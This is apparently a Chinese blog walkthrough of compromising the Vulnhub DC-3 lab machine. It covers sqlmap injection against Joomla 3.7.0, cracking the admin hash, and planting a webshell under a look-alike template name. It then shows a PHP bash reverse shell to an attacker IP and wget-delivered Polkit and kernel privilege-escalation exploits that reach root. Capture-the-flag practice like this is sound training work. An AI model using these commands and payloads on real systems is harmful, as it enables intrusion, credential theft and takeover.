Vulnhub DC-3靶机渗透攻击过程演练

Vulnhub DC-3靶机渗透攻击过程演练

DC-3介绍

DC-3靶机只有1个flag,一个入口点,根本没有任何线索。
在这里插入图片描述

环境准备

下载DC-3靶机导入VMware,选择和Kali同一网络适配器,DHCP获取IP即可

渗透过程

信息收集

首先扫描存活主机,得到目标靶机的IP

nmap -sP 192.168.64.0/24

在这里插入图片描述
全端口扫描

nmap -T4 -sC -sV -p1-65535 192.168.64.157

在这里插入图片描述
仅开放了80端口,一个用 Joomla! 搭建的网站。Joomla! 是一套全球知名的内容管理系统,使用PHP语言加上MySQL数据库所开发的软件系统。访问web测试
在这里插入图片描述
仅有一个登录入口,没有太多有用信息,使用 kali 上的 Joomscan 工具扫描看看

sudo apt-get install joomscan                        #安装joomscan
joomscan -u http://192.168.64.157                    #扫描目标靶机url

在这里插入图片描述
在这里插入图片描述
初步得到几个可能有用的信息:

  • Joomla 版本:3.7.0
  • Apache 版本:2.4.18
  • 后台管理url:http://192.168.64.157/administrator/
  • 其他url:
    http://192.168.64.157/administrator/components
    http://192.168.64.157/administrator/modules
    http://192.168.64.157/administrator/templates
    http://192.168.64.157/images/banners

寻找突破点

寻找exp

searchsploit -u								 #更新
searchsploit joomla |grep 3.7.0              #查找joomla相关exp,有一个SQL注入的exp
sudo updatedb                                #更新locate数据库
locate php/webapps/42033.txt                 #定位exp路径
cp /usr/share/exploitdb/exploits/php/webapps/42033.txt 42033.txt    #拷贝到当前目录

在这里插入图片描述
exp利用

cat 42033.txt                      #查看exp用法

在这里插入图片描述

#使用sqlmap爆出数据库名
sqlmap -u "http://192.168.64.157/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

在这里插入图片描述
得到5个数据库名,joomladb显然是目标库
在这里插入图片描述

#继续爆joomladb库的表名
sqlmap -u "http://192.168.64.157/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

在这里插入图片描述
得到76个表名,显然 “#_users” 是最可能存放后台用户信息的表
在这里插入图片描述
在这里插入图片描述

#爆"#_users"表的列名
sqlmap -u "http://192.168.64.157/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#_users" --columns -p list[fullordering]

在这里插入图片描述
有6列,其中"username"字段是用户名,"password"字段则是密码,是我们想要看到的
在这里插入图片描述

#列出字段值
sqlmap -u "http://192.168.64.157/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#_users" -C id,name,username,password --dump -p list[fullordering]

在这里插入图片描述
可以看到一条数据,用户名为admin,密码是密文显示的,根据字符串特征判断应该是password_hash()加密方式
在这里插入图片描述
接下来就是要对密文进行解密,可以使用 Kali 中的 John 工具尝试解密

echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > passwd
mailer passwd
john -show passwd

在这里插入图片描述
使用破解得到的密码:snoopy,登录测试,成功进入网站后台管理页面
在这里插入图片描述

上传webshell

继续收集信息,这里可以看到 System Information
在这里插入图片描述
可以看到更详细的服务器信息:
内核版本:4.4.0-21-generic
发行版本:Ubuntu-16.04.2
数据库版本:5.7.25
PHP版本:7.0.33
在这里插入图片描述
其中的 Folder Permissions 这里可以直接看到具有写权限的文件或目录
在这里插入图片描述
为了快速建站,大多数的CMS都提供了模板工具,Joomla 同样也有模板。而模板一般都可以自定义,如果没有做好严格的权限控制或代码安全过滤的机制,也就极有可能被利用CMS模板嵌入恶意代码,导致文件上传、文件包含、文件读取、远程代码执行等。
从 Extensions — Templates — Styles 中可以看到这里提供了两套模板
在这里插入图片描述
点击其中一个模板名称
在这里插入图片描述
可以看到左侧的树状文件目录,以及 New File 按钮,显然有权限修改或添加模板文件。可以尝试用webshell代码添加为模板
在这里插入图片描述
点击 New File,新建一个webshell页面测试,文件名称使用了和 index.php 相似的名称 lndex.php
在这里插入图片描述
文件内容则直接复制了冰蝎的 php webshell 代码
在这里插入图片描述
保存成功,接下来的问题是要找到这个新建文件的路径,进行访问测试和webshell连接
在这里插入图片描述
Joomla CMS很友好地在后台管理的各个页面的右上角都放置了help按钮,点击就可以直接跳转到当前功能模块相关的帮助文档,也许从官方文档中可以找到一些信息
在这里插入图片描述
在这里插入图片描述
一番查阅后,果然在 How to use the Template Manager 这篇帮助文档中找到了一个信息
在这里插入图片描述
这里详细标注了 article 文件的路径
在这里插入图片描述
索性就按照这个帮助文档中的方法,找到 article 文件,然后web访问这个路径看是否能访问到
在这里插入图片描述
在这里插入图片描述
提示信息中的路径:/templates/protostar/html/com_content/article 和在前面信息收集中使 joomscan 工具扫描出的一个url:http://192.168.64.157/administrator/templates 看似有些重合,但访问这个url 的结果中并没有看到protostar目录文件
在这里插入图片描述
回过头来仔细想想,在得到密码登录后的继续收集信息那一步,在 System — System Information — Folder Permissions 中,这里的文件就是实际路径啊!可以看到有两个包含 templates 的目录
在这里插入图片描述
在这里插入图片描述
其中的 administrator/templates 的目录已经被排除,那就再访问另一个目录测试,即url:http://192.168.64.157/templates 。返回结果虽然是空白,但只要不是404 Not Found,就说明请求正常返回了,只是这个路径没有可以显示的内容
在这里插入图片描述
根据 /templates/protostar/html/com_content/article 补充完整路径再次访问测试,即url: http://192.168.64.157/templates/protostar/html/com_content/article,访问成功!
在这里插入图片描述
因此新建的冰蝎 php webshell url:http://192.168.64.157/templates/protostar/lndex.php,访问测试成功!
在这里插入图片描述
webshell连接测试
在这里插入图片描述
成功连接!
在这里插入图片描述
在这里插入图片描述

CVE-2021-4034提权

跟着就需要拿到root权限,最终才能拿到flag
在这里插入图片描述
测试有权限运行curl、wget、unzip等命令,并且policykit-1的版本为0.105-14.1ubuntu0.4,低于官方的CVE-2021-4034漏洞修复版本0.105-14.1ubuntu0.5+esm1,那就找Polkit本地权限提升漏洞的exp试试

curl -V
wget -V
unzip -v
apt list |grep policykit

在这里插入图片描述
在这里插入图片描述
从GitHub上找的CVE-2021-4034漏洞exp:https://github.com/berdav/CVE-2021-4034
下载到kali,用python3搭建临时http下载服务器

cd CVE
ls
python3 -m http.server

在这里插入图片描述
访问测试正常
在这里插入图片描述
在DC-3靶机上使用wget下载exp

wget http://192.168.64.154:8000/CVE-2021-4034-main.zip

在这里插入图片描述
解压编译

ls -lh CVE-2021-4034-main.zip
unzip CVE-2021-4034-main.zip

在这里插入图片描述
编译成功

cd CVE-2021-4034-main
ls
make

在这里插入图片描述
尝试运行exp,但不成功,没有任何回显

ls
./cve-2021-4034

在这里插入图片描述
用这个exp在其他的Ubuntu16.04环境中测试,其policykit-1的版本为0.105-14.1ubuntu0.5,运行exp可以成功拿到root权限
在这里插入图片描述
猜测是和冰蝎shell终端的回显有关,所以换个反弹shell连接再跑exp试试
在这里插入图片描述
反弹shell连接成功
在这里插入图片描述
但exp执行的结果是一样,没有任何回显
在这里插入图片描述
不死心的我又尝试了几个反弹shell方式,终于用bash反弹成功运行了exp

<?php system("bash -c 'bash -i >& /dev/tcp/192.168.64.154/5555 0>&1'");?>

在模板protostar目录下新建一个bash反弹shell的php页面
在这里插入图片描述
在kali上用nc监听5555端口

nc -lvvp 5555

在这里插入图片描述
访问页面url:http://192.168.64.157/templates/protostar/1.php,页面访问成功,反弹shell连接成功!
在这里插入图片描述
这里重新解压编译了一次exp

rm -rf CVE-2021-4034-main
unzip CVE-2021-4034-main.zip
cd CVE-2021-4034-main
ls
make

在这里插入图片描述
此时执行exp成功拿到root权限,切换到/root目录,便看到了flag

ls
./cve-2021-4034
id
cd /root
ls
cat the-flag.txt

在这里插入图片描述

其他exp提权

在终端上,可以通过下面几个命令确认服务器的版本信息

uname -a
cat /etc/issue
mysql -V
php -v

在这里插入图片描述
根据服务器的版本信息,我们使用 searchsploit 过滤查找,看有没有其他能利用的exp

searchsploit kernel |grep 4.4.0
searchsploit ubuntu |grep 16.04

在这里插入图片描述
在多篇博客文章中看到,其中的39772.txt这个exp很多人在DC-3上成功利用,这里做个测试

locate linux/local/39772.txt                              #定位exp
vim /usr/share/exploitdb/exploits/linux/local/39772.txt   #查看exp说明和用法
tail /usr/share/exploitdb/exploits/linux/local/39772.txt

在这里插入图片描述
用39772.txt中的exp链接下载exp,直接wget下载尝试多次失败,最后是用迅雷保存到云盘,再从云盘下载
39772.zip迅雷云盘分享链接:https://pan.xunlei.com/s/VMz4UL1T4EUrrc8WNa9umw0eA1 提取码:e58b

unzip 39772.zip
cd 39772

在这里插入图片描述

tar -xf exploit.tar
ls

在这里插入图片描述
在服务器上测试了能运行tar命令,直接把exploit.tar放在临时下载目录,靶机上wget下载exp,编译运行
在这里插入图片描述

wget http://192.168.64.154:8000/exploit.tar
ls -lh exploit.tar
tar -xf exploit.tar
cd ebpf_mapfd_doubleput_exploit
ls

在这里插入图片描述

whoami
./compile.sh
ls

在这里插入图片描述

./doublept
whoami
cd /root
ls
cat the-flag.txt

在这里插入图片描述

猜测验证

为验证前面的猜测——exp运行不成功是和冰蝎shell终端的回显有关,这里实际验证一下
在这里插入图片描述
冰蝎shell执行su命令和错误命令时,都没有返回;在bash shell中则是能返回错误信息,这和Linux的输出重定向有关。

总结

1、持续关注近期热点的安全事件和安全漏洞,并善于利用;
2、在渗透过程中,需要使用不同的方式进行多次尝试,最终可能会有意想不到的惊喜。

参考文章

CMS Joomla SQL注入漏洞练习(CVE-2017-8917 )
https://docs.joomla.org/J3.x:How_to_use_the_Template_Manager
https://ubuntu.com/security/CVE-2021-4034
https://github.com/berdav/CVE-2021-4034
linux提权方法(不断总结更新)
反弹shell的方法总结

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值